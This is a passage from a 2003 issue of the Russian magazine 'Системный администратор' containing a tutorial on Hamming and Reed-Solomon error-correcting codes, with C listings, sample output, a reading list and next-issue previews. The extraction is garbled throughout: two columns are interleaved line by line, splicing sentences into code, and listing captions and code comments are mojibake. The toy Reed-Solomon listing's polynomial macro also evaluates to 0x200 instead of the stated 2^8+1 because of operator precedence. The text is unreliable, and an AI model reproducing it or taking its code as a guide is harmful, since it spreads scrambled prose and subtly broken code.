Давайте в порядке закрепления материала попробу- Ëèñòèíã 7. Ðàñ÷åò ýôôåêòèâíîé èíôîðìàöèîííîé åìêîñòè êîäîâ
Õåììèíãà äëÿ ñëîâ ðàçëè÷íîé äëèíû.
ем пощупать коды Хемминга «вживую» и вручную рас-
считаем контрольную сумму 4-битного символа «0101». main()
{
После резервирования «квартир» для контрольных битов int a;
(выделенных в тексте жирным шрифтом) наш символ бу- int _pow = 1;
int old_pow = 1;
дет выглядеть так: AB0C101D. Теперь остается только рас- int N, old_N = 1;
считать значения битов A, B, C и D:
printf( "* * * hamming code efficiency test * * * ↵
 Бит A, контролирующий биты 3, 5 и 7 равен нулю, т.к. by Kris Kaspersky\n"\
их сумма (0 + 1 + 1) четна. " BLOCK_SIZE FUEL UP EFFICIENCY\n"\
"-----------------------------------\n");
 Бит B, контролирующий биты 3, 6 и 7 равен одному, for (a = 0; a < MAX_POW; a++)
т.к. их сумма (0 + 0 + 1) нечетна. {
N = _pow - old_pow - 1 + old_N;
 Бит C, контролирующий биты 5, 6 и 7 равен нулю, т.к.
их сумма (1 + 0 + 1) четна. printf("%8d %8d %8.1f%%\n",_pow, N, (float) ↵
N/_pow*100);
 Бит D никакой роли не играет, т.к. он контролирует лишь
те биты, которые расположены справа от него, а ника- // NEXT
old_pow = _pow; _pow = _pow * 2; old_N = N;
ких битов справа от него уже и нет. И приведен он лишь
затем, чтобы получить 8 бит – общепринятый байт. } printf("-----------------------------------\n");
}

Таким образом, «новоиспеченное» кодовое слово бу- Ëèñòèíã 8. Ðåçóëüòàò ðàñ÷åòà ýôôåêòèâíîé èíôîðìàöèîííîé
åìêîñòè êîäîâ Õåììèíãà äëÿ ñëîâ ðàçëè÷íîé äëèíû.
дет выглядеть так: «0100101», где жирным шрифтом вы-
делены контрольные биты. BLOCK_SIZE FUEL UP EFFICIENCY
-----------------------------------
1 0 0.0%
Ëèñòèíã 6. Êîäîâîå ñëîâî âìåñòå ñ èíôîðìàöèîííûìè áèòàìè. 2 0 0.0%
4 1 25.0%
AB0C101D 8 4 50.0%
12345678 16 11 68.8%
32 26 81.3%
64 57 89.1%
Допустим, при передаче наше слово было искажено в 128 120 93.8%
256 247 96.5%
одной позиции и стало выглядеть так: 0100111. Сможем ли 512 502 98.0%
мы обнаружить такую ошибку? А вот сейчас и проверим! 1024 1013 98.9%
2048 2036 99.4%
Так, бит A должен быть равен: (0 + 1 + 1) % 2 = 0, что соответ- 4096 4083 99.7%
ствует истине. Бит B должен быть равен (0 + 1 + 1) % 2 = 0, а 8192 8178 99.8%
16384 16369 99.9%
в нашем слове он равен единице. Запомним номер «непра- 32768 32752 100.0%
вильного» контрольного бита и продолжим. Бит C должен 65536 65519 100.0%
131072 131054 100.0%
быть равен (1 + 1 + 1) % 2 = 1, а он равен нулю! Ага, значит, 262144 262125 100.0%
контрольные биты в позициях 2 (бит B) и 4 (бит C) обнаружи- 524288 524268 100.0%
-----------------------------------
вают расхождение с действительностью. Их сумма (2 + 4 = 6)
и дает позицию сбойного бита. Действительно, в данном слу- Из приведенной выше распечатки видно, что при об-
чае номер искаженного бита равен 6, инвертируем его, тем работке блоков, дотягивающихся хотя бы до 1024 бит, на-
самым восстанавливая наше кодовое слово в исходный вид. кладными расходами на контрольные биты можно полно-
А что если искажение затронет не информационный, стью пренебречь.
а контрольный бит? Проверка показывает, что позиция К сожалению, коды Хемминга способны исправлять
ошибки успешно обнаруживается и в этом случае, и кон- лишь одиночные ошибки, т.е. допускают искажение всего

№8(9), август 2003 91


образование
лишь одного сбойного бита на весь обрабатываемый блок. Теперь о грустном. Для работы с кодами Рида-Соломо-
Естественно, с ростом размеров обрабатываемых блоков на обычная арифметика, увы, не подходит и вот почему. Ко-
увеличивается и вероятность ошибок. Поэтому выбор оп- дирование предполагает вычисления по правилам действия
тимальной длины кодового слова является весьма нетри- над многочленами, с коэффициентами которых надо выпол-
виальной задачей, как минимум требующей знания харак- нять операции сложения, вычитания, умножения и деления,
тера и частоты возникновения ошибок используемых ка- причем все эти действия не должны сопровождаться каким-
налов передачи информации. В частности, для ленточных либо округлением промежуточных результатов (даже при
накопителей, лазерных дисков, винчестеров и тому подоб- делении!), чтобы не вносить неопределенность. Причем и
ных устройств коды Хемминга оказываются чрезвычайно промежуточные, и конечные результаты не имеют права
неэффективными. Зачем же тогда мы их рассматривали? выходить за пределы установленной разрядной сетки…
А затем, что понять прогрессивные системы кодирования «Постойте! – воскликнет внимательный читатель. – Да ведь
(к которым в том числе относятся и коды Рида-Соломона), это невозможно! Чтобы при умножении и не происходило
ринувшись атаковать их «с нуля», практически невозмож- «раздувания» результатов, кто же в этот бред поверит?!»
но, ибо они завязаны на сложной, действительно высшей Впрочем, если как следует подумать головой, частич-
математике, но ведь не Боги горшки обжигают, верно? но призвав на помощь и другие части тела, можно сооб-
разить, что умножать информационное слово на порож-
Идея кодов Рида-Соломона дающий полином вовсе не обязательно, можно поступить
Если говорить упрощенно, то основная идея помехозащит- гораздо хитрее:
ного кодирования Рида-Соломона заключается в умноже-  Добавляем к исходному информационному слову D
нии информационного слова, представленного в виде справа k нулей, в результате чего у нас получается сло-
полинома D, на неприводимый полином G3, известный во длины n = m + r и полином Xr∗D, где m – длина ин-
обеим сторонам, в результате чего получается кодовое формационного слова.
слово C, опять-таки представленное в виде полинома.  Делим полученный полином Xr∗D на порождающий по-
Декодирование осуществляется с точностью до наобо- лином G и вычисляем остаток от деления R, такой что:
рот: если при делении кодового слова C на полином G де- Xr∗D = G∗Q + R, где Q – частное, которое мы благопо-
кодер внезапно получает остаток, то он может рапортовать лучно игнорируем за ненадобностью, – сейчас нас ин-
наверх об ошибке. Соответственно, если кодовое слово тересует только остаток.
разделилось нацело, его передача завершилась успешно.  Добавляем остаток R к информационному слову D, в ре-
Если степень полинома G (называемого так же порож- зультате чего получаем симпатичное кодовое слово C,
дающим полиномом) превосходит степень кодового сло- информационные биты которых хранятся отдельно от
ва по меньшей мере на две степени, то декодер может не контрольных бит. Собственно, тот остаток, который мы
только обнаруживать, но и исправлять одиночные ошиб- получили в результате деления, и есть корректирующие
ки. Если же превосходство степени порождающего поли- коды Рида-Соломона. Между нами говоря, способ коди-
нома над кодовым словом равно четырем, то восстанов- рования, при котором информационные и контрольные
лению поддаются и двойные ошибки. Короче говоря, сте- символы хранятся раздельно, называется систематичес-
пень полинома k связана с максимальным количеством ким кодированием и такое кодирование весьма удобно
исправляемых ошибок t следующим образом: k = 2∗t. Сле- с точки зрения аппаратной реализации.
довательно, кодовое слово должно содержать два допол-  Мысленно прокручиваем предыдущие пункты, пытаясь
нительных символа на одну исправляемую ошибку. В то обнаружить, на какой же стадии вычислений происходит
же время максимальное количество распознаваемых выход за разрядную сетку и… такой стадии нет! Остает-
ошибок равно t, т.е. избыточность составляет один сим- ся лишь отметить, что информационное слово + коррек-
вол на каждую распознаваемую ошибку. тирующие коды можно записать как: T = Xr∗D + R = G∗Q.
В отличие от кодов Хемминга, коды Рида-Соломона мо-
гут исправлять любое разумное количество ошибок при Декодирование полученного слова T осуществляется
вполне приемлемом уровне избыточности. Спрашиваете, точно так же, как уже и было описано ранее. Если при де-
за счет чего это достигается? Смотрите, в кодах Хемминга лении T (которое в действительности является произведе-
контрольные биты контролировали лишь те информацион- нием G на Q) на порождающий полином G образуются ос-
ные биты, что находятся по правую сторону от них и игно- таток, то слово T искажено и, соответственно, наоборот.
рировали всех «левосторонних» товарищей. Обратимся к Теперь вопрос на засыпку. Как вы собираетесь осуще-
таблице 1: добавление восьмого контрольного бита D ни- ствлять деление полиномов в рамках общепринятой алгеб-
чуть не улучшило помехозащищенность кодирования, по- ры? В целочисленной арифметике деление определено не
скольку контрольному биту D было некого контролировать. для всех пар чисел (вот, в частности, 2 нельзя разделить
В кодах же Рида-Соломона контрольные биты распростра- на 3, а 9 нельзя разделить на 4, без потери значимости,
няют свое влияние на все информационные биты и потому естественно). Что же касается «плавучки», то ее точность
с увеличением количества контрольных бит увеличивает- еще та (в смысле точность катастрофически недостаточ-
ся и количество распознаваемых/устраняемых ошибок. ная для эффективного использования кодов Рида-Соло-
Именно благодаря последнему обстоятельству, собствен- мона), к тому же она достаточно сложна в аппаратной реа-
но, и вызвана ошеломляющая популярность корректирую- лизации. Ладно, в IBM PC с процессором Pentium быстро-
щих кодов Рида-Соломона. действующий математический сопроцессор всем нам дан

92
образование
по дефолту, но что делать разработчикам ленточных нако- Ëèñòèíã 9. Ïðîñòåéøèé ïðèìåð ðåàëèçàöèè êîäåðà/äåêîäåðà Ðèäà-
Ñîëîìíà, ðàáîòàþùåãî ïî îáû÷íîé àðèôìåòèêå (ò.å. ñ íåîïðàâ-
пителей, винчестеров, CD-приводов, наконец? Пихать в них äàííûì ðàñøèðåíèåì ðàçðÿäíîé ñåòêè), è èñïðàâëÿþùèì ëþáûå
четвертый Пень?! Нет уж, увольте, лучше воспользоваться îäèíî÷íûå îøèáêè â îäíîì 8-áèòíîì èíôîðìàöèîííîì ñëîâå (âïðî-
÷åì, ïðîãðàììó ëåãêî àäàïòèðîâàòü è ïîä 16-áàéòîâûå èíôîð-
специальной арифметикой – арифметикой конечных групп, ìàöèîííûå ñëîâà). Îáðàòèòå âíèìàíèå, ÷òî êîäåð ðåàëèçóåòñÿ
называемых полями Галуа. Достоинство этой арифметики ÷óòü ëè íå íà ïîðÿäîê ïðîùå äåêîäåðà. Â íàñòîÿùåì äåêîäåðå
Ðèäà-Ñîëîìíà, ñïîñîáíîì èñïðàâëÿòü ãðóïïîâûå îøèáêè, ýòîò
в том, что операции сложения, вычитания, умножения и ðàçðûâ åùå çíà÷èòåëüíåå.
деления определены для всех членов поля (естественно,
// ÂÍÈÌÀÍÈÅ! äàííûé êîäåð/äåêîäåð ïîñòðîåí íà îñíîâå
исключая ситуацию деления на ноль), причем число, полу- // îáû÷íîé àðèôìåòèêè, íå àðèôìåòèêè ïîëåé Ãàëóà,
ченное в результате любой из этих операций, обязательно // â ðåçóëüòàòå ÷åãî åãî ïðàêòè÷åñêèå âîçìîæíîñòè áîëåå
// ÷åì îãðàíè÷åíû, òåì íå ìåíåå îí íàãëÿäåí è óäîáåí äëÿ
присутствует в группе! Т.е. при делении любого целого // èçó÷åíèÿ
числа A, принадлежащего множеству 0…255, на любое #include <stdio.h>
целое число B из того же множества (естественно, B не // øèðèíà âõîäíîãî èíôîðìàöèîííîãî ñèìâîëà (áèò)
должно быть равно нулю), мы получим число C, входящее #define SYM_WIDE 8
в данное множество. А потому потерь значимости не про- // âõîäíûå äàííûå (îäèí áàéò)
исходит, и никакой неопределенности не возникает! #define DATAIN 0x69
Таким образом, корректирующие коды Рида-Соломо- // íîìåð áèòà, êîòîðûé áóäåò ðàçðóøåí ñáîåì
на основаны на полиномиальных операциях в полях Га- #define ERR_POS 3
луа и требуют от программиста владения сразу несколь- // íåïðèâîäèìûé ïîëèíîì
кими аспектами высшей математики из раздела теории #define MAG (1<<(SYM_WIDE*1) + 1<<(SYM_WIDE*0))
чисел. Как и все «высшее», придуманное математиками, // ------------------------------------------------------
поля Галуа есть абстракция, которую невозможно ни на- // îïðåäåëåíèå ïîçèöèè îøèáêè x ïî îñòàòêó k îò äåëåíèÿ
// êîäîâîãî ñëîâà íà ïîëèíîì k = 2^x, ãäå "^" – âîçâåäåíèå
глядно представить, ни «пощупать» руками. Ее просто // â ñòåïåíü; ôóíêöèÿ ïðèíèìàåò k è âîçâðàùàåò x
надо принять как набор аксиом, не пытаясь вникнуть в // ------------------------------------------------------
int pow_table[9] = {1,2,4,8,16,32,64,128,256};
его смыл, достаточно всего лишь знать, что она работа- lockup(int x) {int a;for(a=0;a<9;a++) ↵
ет, вот и все. А еще есть полиномы немеряных степеней if(pow_table[a]==x)return a; return -1;}
и матрицы в пол-Европы, от которых нормальный систем- main()
щик не придет в восторг (увы, программист-математик {
int i; int g; int c; int e; int k;
скорее исключение, чем правило).
Поэтому, прежде чем ринуться в непроходимые джун- fprintf(stderr,"simplest Reed-Solomon endoder/decoder ↵
by Kris Kaspersky\n\n");
гли математического леса абстракций, давайте сконст- // âõîäíûå äàííûå (èíôîðìàöèîííîå ñëîâî)
руируем макет кодера/декодера Рида-Соломона, работа- i = DATAIN;
// íåïðèâîäèìûé ïîëèíîì
ющий по правилам обычной целочисленной алгебры. Ес- g = MAG;
тественно, за счет неизбежного в этом случае расшире- printf("i = %08x DATAIN)\ng = %08x ↵
(POLYNOM)\n", i, g);
ния разрядной сетки такому кодеру/декодеру будет очень
трудно найти практическое применение, но… зато он на- // ÊÎÄÅÐ ÐÈÄÀ-ÑÎËÎÌÎÍÀ (ïðîñòåéøèé, íî âñå-òàêè êîå-êàê
// ðàáîòàþùèé).
гляден и позволяет не только понять, но и почувствовать // Âû÷èñëÿåì êîäîâîå ñëîâî, ïðåäíàçíà÷åííîå äëÿ ïåðåäà÷è
принцип работы корректирующих кодов Рида-Соломона. c = i * g; printf("c = %08x (CODEWORD)\n", c);
// êîíåö ÊÎÄÅÐÀ
Мы будем исходить из того, что если g = 2n + 1, то для
любого a из диапазона 0…2n, произведение a∗g = c (где // ïåðåäàåì ñ èñêàæåíèÿìè
e = c ^ (1<<ERR_POS); printf("e = %08x ↵
с – кодовое слово), будет представлять, по сути, полную (RAW RECIVED DATA+ERR)\n\n", e);
мешанину битов обоих исходных чисел. /* ^^^^ èñêàæàåì îäèí áèò, èìèòèðóÿ îøèáêó ïåðåäà÷è */
Допустим n = 2, тогда g = 3. Легко видеть: на что бы мы // ÄÅÊÎÄÅÐ ÐÈÄÀ-ÑÎËÎÌÎÍÀ
не умножали g – хоть на 0, хоть на 1, хоть на 2, хоть на – 3, // ïðîâåðÿåì íà íàëè÷èå îøèáîê ïåðåäà÷è
// (ôàêòè÷åñêè ýòî ïðîñòåéøèé äåêîäåð Ðèäà-Ñîëîìîíà)
полученный результат делится нацело на g в том и только if (e % g)
том случае, если никакой из его бит не инвертирован (то {
// îøèáêè îáíàðóæåíû, ïûòàåìñÿ èñïðàâèòü
есть, попросту говоря, одиночные ошибки отсутствуют). printf("RS decoder says: (%x) ↵
Остаток от деления однозначно указывает на пози- error detected\n{\n", e % g);
// k = 2^x, ãäå x - ïîçèöèÿ ñáîéíîãî áèòà
цию ошибки (при условии, что ошибка одиночная, груп- k = (e % g);
повые же ошибки данный алгоритм исправлять не спо- printf("\t0 to 1 err position: %x\n", lockup(k));
printf("\trestored codeword is: %x\n}\n", (e ^= k));
собен). Точнее, если ошибка произошла в позиции x, то }
остаток от деления k будет равен k = 2x. Для быстрого printf("RECEIVED DATA IS: %x\n", e / g);
// ÊÎÍÅÖ ÄÅÊÎÄÅÐÀ
определения x по k можно воспользоваться тривиаль- }
ным табличным алгоритмом. Впрочем, для восстанов-
Ëèñòèíã 10. Ðåçóëüòàò ðàáîòû ïðîñòåéøåãî êîäåðà/äåêîäåðà Ðèäà-
ления сбойного бита знать его позицию совершенно нео- Ñîëîìîíà. Îáðàòèòå âíèìàíèå: èñêàæåííûé áèò óäàëîñü óñïåøíî
бязательно, достаточно сделать R = e ^ k, где e – иска- èñïðàâèòü, îäíàêî äëÿ ýòîãî ê èñõîäíîìó èíôîðìàöèîííîìó ñëîâó
ïðèøëîñü äîáàâèòü íå äâà, à öåëûõ òðè áèòà (åñëè âû âîçüìåòå â
женное кодовое слово, ^ – операция XOR, а R – восста- êà÷åñòâå âõîäíîãî ñëîâà ìàêñèìàëüíî äîïóñòèìîå 8-áèòíîå çíà÷å-
новленное кодовое слово. íèå 0xFF, òî êîäîâîå ñëîâî áóäåò ðàâíî 0x1FE00, à òàê êàê 210 =
10000, òî ñâîáîäíûõ ðàçðÿäîâ óæå íå õâàòàåò è ïðèõîäèòñÿ óâåëè-
В общем, законченная реализация кодера/декодера ÷èâàòü ðàçðÿäíóþ ñåòêó äî 211, â òî âðåìÿ êàê ìëàäøèå áèòû
может выглядеть так: êîäîâîãî ñëîâà ôàêòè÷åñêè îñòàþòñÿ íåçàäåéñòâîâàííûìè è "ïðà-

№8(9), август 2003 93


образование
âèëüíûé" êîäåð äîëæåí èõ "çàêîëüöåâàòü", ãðóáî ãîâîðÿ çàìêíóâ цикла подробно расскажет о превратностях полиномиальной
îáðàáàòûâàåìûå ðàçðÿäû íà ìàíåð êîëüöà.
арифметики и (о ужас!) полях Галуа. Затем, на фундаменте
i = 00000069 (DATAIN) данного математического аппарата, мы сможем возвести
g = 00000200 (POLYNOM)
c = 0000d200 (CODEWORD) дворец отказоустойчивых RAID-систем, да и не только их…
e = 0000d208 (RAW RECIVED DATA+ERR)
1
RS decoder says: (8) error detected «…Из-за ошибок в реализации данный код вместо
{ исправления ошибок добавляет новые. Поэтому данный
0 to 1 err position: 3
restored codeword is: d200 код больше недоступен» – комментарий к исходным тек-
} стам GNU кодера/декодера Reed-Solomon. Вот и верь пос-
RECEIVED DATA IS: 69
ле этого в надежность Linux в целом и в GNU’тый библио-
течный код в частности.
Заключение 2
Если сумма проверяемых бит четна, то контрольный
Вот мы и познакомились с азами кодирования информации бит равен нулю и, соответственно, наоборот.
3
и разобрались с основными идеями, лежащими в основе по- Полином, который не разлагается в произведение по-
строения помехозащитных кодов. Следующая статья этого линомов меньшей степени.

Что читать
Несмотря на то что данный цикл статей является вполне кошный сборник разнообразных руководств по кодам
самодостаточным и весь минимально необходимый мате- Рида-Соломона, наверное, лучший из всех, что я видел.
матический аппарат излагает самостоятельно без отсылок Включает в себя кратное описание основ теории полей
к сторонней литературе, желание углубить свои знания Галуа, базовые принципы построения кодеров/декодеров
вполне естественно и его можно только приветствовать. А Рида-Соломона и законченные примеры реализации са-
потому будет лучше, если вы не ограничитесь одной этой мих кодеров/декодеров на языке Си (правда, недостаточ-
статьей, а перевернете целые горы специализированной но добросовестно прокомментированные). Сей stuff нео-
литературы, с каждым разом все больше и больше ужаса- днократно промелькивал в ФИДО и последний раз постил-
ясь глубине той пропасти, что отделяет ваши поверхност- ся 28 декабря 1994 года в конференции comp.compression.
ные представления от действительно настоящих знаний. Его легко найти в «Google» по ключевым словам «Reed-
Теория помехоустойчивого кодирования столь обширна, что Solomon+main+ECC». Настоятельно рекомендую.
для ее изучения потребуется как минимум целая жизнь. 6. Ross N.Williams. A painless guide to CRC error detection
1. Blahut Richard. Theory and Practice of Error Control Codes. algorithms. – Подробное руководство по CRC, полезное до-
Mass.: Addison-Wesley, 1983. – Очень хорошая книжка статочно внятным и доступным описанием полиномиаль-
из категории «must have»; по слухам, есть в электрон- ной арифметики, без которой работа с кодами Рида-Со-
ном виде в сети, однако, к сожалению, самой книжки ломона просто немыслима. Доступно в электронной фор-
я так и не нашел, но тучи ссылок на нее убедительно ме по следующему адресу: ftp://www.internode.net.au/clients/
свидетельствуют о высоком качестве последней. Так- rocksoft/papers/crc_v3.txt. Также имеется его неплохой пе-
же имеется ее русскоязычный перевод, выпущенный ревод на русский язык, легко отыскивающийся в сети по
издательством «Мир» (см. ниже). запросу «Элементарное руководство по CRC-алгоритмам
2. Блейхут Р. Теория и практика кодов, контролирующих обнаружения ошибок». Настоятельно рекомендую.
ошибки. М.: Мир, 1986. – 576с. – Технически грамот- 7. ftape (драйвер ленточного накопителя из дистрибутива
ный и добротный перевод уже упомянутой выше кни- Linux). – Ну какая же запись на магнитную ленту обхо-
ги Блейхута (ах, какие в издательстве Мир были пере- дится без корректирующих кодов? Представить себе та-
водчики!), электронной копии в сети, к сожалению, нет. кое, довольно затруднительно. Поэтому анализ исходных
3. James Plank. A tutorial on Reed-Solomon Coding for fault- текстов драйверов ленточных накопителей дает доволь-
tolerance in RAID-like systems. – Неплохое руководство но-таки богатую пищу для размышлений (при условии,
по использованию кодов Рида-Соломона для построе- конечно, что исследуемый драйвер действительно ис-
ния отказоустойчивых RAID-подобных систем, ориенти- пользует коды Рида-Соломона, а не что-нибудь другое).
рованное на математически неподготовленных систем- Драйвер ftape как раз и является тем драйвером, что вам
ных программистов и доходчиво объясняющее суть по- нужен, а непосредственно сам код, ответственный за ко-
мехоустойчивого кодирования с примерами исходных дирование/декодирование кодов Рида-Соломона выне-
текстов на Си. Электронная копия доступна по адресу: сен в файл ftape-ECC.c/ftape-ECC.h. Это достаточно ак-
http://www.cs.utk.edu/~plank/plank/papers/CS-96-332.pdf. куратный, хорошо структурированный и даже местами
Настоятельно рекомендую прочитать, даже если вы и слегка комментируемый код, также рекомендую.
не собираетесь заниматься сборкой RAID. 8. James S. Plank GFLIB. C Procedures for Galois Field
4. Joel Sylvester. Reed Solomon Codes. – Предельно крат- Arithmetic and Reed-Solomon Coding. – Библиотечка для
ное описание принципов работы кодов Рида-Соломона с работы с кодами Рида-Соломона. Содержит в себе пол-
блок-схемами вместо исходных текстов. На практическое ные исходные тексты всех необходимых функций и рас-
руководство не тянет, но общую картину все-таки дает, пространяется по лицензии GPL. Найти ее можно на лю-
почитайте: http://www.elektrobit.co.uk/pdf/reedsolomon.pdf. бом GNU-сайте, например, здесь: http://www.cs.utk.edu/
5. Tom Moore. REED-SOLOMON PACKAGE. (old tutorial). – Рос- ~plank/plank/gflib/gflib.tar.

94
подписка

Альтернативная подписка: ООО «Интер-Почта» по тел. (095) 500-00-60


Курьерская доставка по Москве
Открыта редакционная подписка на II полугодие 2003 г.
Информация на сайте www.samag.ru в разделе «Подписка»

81655

Единый
подписной
индекс:

81655
по каталогу 81655
агентства
«Роспечать»

Рады видеть
Вас нашими
читателями!

№8(9), август 2003 95


СИСТЕМНЫЙ АДМИНИСТРАТОР
№8(9), Август, 2003 год

РЕДАКЦИЯ
ЧИТАЙТЕ
Исполнительный директор
Владимир Положевец
В СЛЕДУЮЩЕМ
Ответственный секретарь
Наталья Хвостова
НОМЕРЕ:
sekretar@samag.ru
Технический редактор
Владимир Лукин Работа с жестким диском Искажение TOC
на программном уровне как средство борьбы
РЕКЛАМНАЯ СЛУЖБА В номере 3(4) журнала "Системный с несанкционированным
тел.: (095) 928-8253 (доб. 112) администратор" была опубликована копированием диска
факс: (095) 928-8253 статья Алексея Серебрякова "Основы Искажение TOC – жестокий, уродли-
Константин Меделян систем хранения данных". В продол- вый, но на удивление широко рас-
reсlama@samag.ru жение данной темы давайте рассмот- пространенный прием, использую-
рим, как осуществить доступ к IDE- щийся в доброй половине защитных
Верстка и оформление диску на программном уровне при механизмов. Штатные копировщики
imposer@samag.ru помощи файла устройства и через на таких дисках в буквальном смыс-
maker_up@samag.ru порты ATA-контроллера. ле слова сходят с ума и едут кры-
шей. Копировщики защищенных
Дизайн обложки Работа с базами данных дисков (Clone CD, Alcohol 120%) к
Николай Петрочук на Perl искаженному TOC относятся гораз-
В наше время базы данных широко до лояльнее, но требуют для своей
103012, г. Москва, используются в разных сферах чело- работы определенного сочетания
Ветошный переулок, дом 13/15 веческой жизни. Самые простые базы пишущего и читающего приводов,
тел.: (095) 928-8253 (доб. 112) данных – это просто файлы опреде- да и в этом случае копируют такой
факс: (095) 928-8253 ленной структуры, а сложные – это диск не всегда.
Е-mail: info@samag.ru файлы, имеющие свой формат дан-
Internet: www.samag.ru ных и, естественно, определенную Виртуальный полигон
структуру. В данной статье я рассмот- для администратора
РУКОВОДИТЕЛЬ ПРОЕКТА рю работу с базами данных на языке и разработчика
Петр Положевец программирования Perl. Мне, как и многим другим админи-
страторам, приходится постоянно
УЧРЕДИТЕЛИ Рецепты правильного разрабатывать способы интеграции
Владимир Положевец трудоустройства между собой разных служб и при-
Александр Михалев Относительно рынка труда в России ложений. Иногда для проверки того
существует два мнения: пациент ско- или иного решения нужна всего
ИЗДАТЕЛЬ рее жив, чем мертв, и пациент скорее лишь одна машина. А что прикаже-
ЗАО «Издательский дом мертв, чем жив. Лично я считаю, что те делать, если нужно имитировать
«Учительская газета» в сфере информационных технологий работу одной или нескольких свя-
реализовать свой потенциал в России занных между собой локальных се-
Отпечатано типографией намного проще, чем во всех осталь- тей? В данном случае у нас есть
ООО «Мастер Печати» ных странах мира вместе взятых. Не- два варианта действий.
Тираж 5500 экз. достаток квалифицированной рабо- Первый – по старинке взять за-
чей силы у нас просто колоссальный валявшийся на складе коммутатор
Журнал зарегистрирован и трудоустроиться в этой обстановке и из старых машин собрать малень-
в Министерстве РФ по делам печати, очень легко. Правда, в отличие от за- кую сеть.
телерадиовещания и средств мас- падных стран, цивилизованного рын- Второй вариант гораздо проще
совых коммуникаций (свидетельство ка труда в России как не было, так и и удобнее. Все что нам понадобит-
ПИ № 77-12542 от 24 апреля 2002г.) нет, и потому механизмы трудоуст- ся – это компьютер средней мощно-
ройства, которые хорошо работают сти. Наши тестовые сети и все ком-
За содержание статьи ответственность «там», у нас вращаются со скрипом пьютеры, находящиеся в них, мы
несет автор. За содержание рекламно- или не вращаются вообще. создадим внутри комплекса вирту-
го обьявления ответственность несет И если вам до чертиков надоело альных машин vmware.
рекламодатель. Все права на опубли- заполнять эти шаблонные резюме и В этой статье мы поговорим о
кованные материалы защищены. Ре- вы хотите попробовать другие, – бо- том, как сполна воспользоваться
дакция оставляет за собой право изме- лее действенные методы, эта статья техническим могуществом, предос-
нять содержание следующих номеров. для вас! тавляемым vmvare.

96

Вам также может понравиться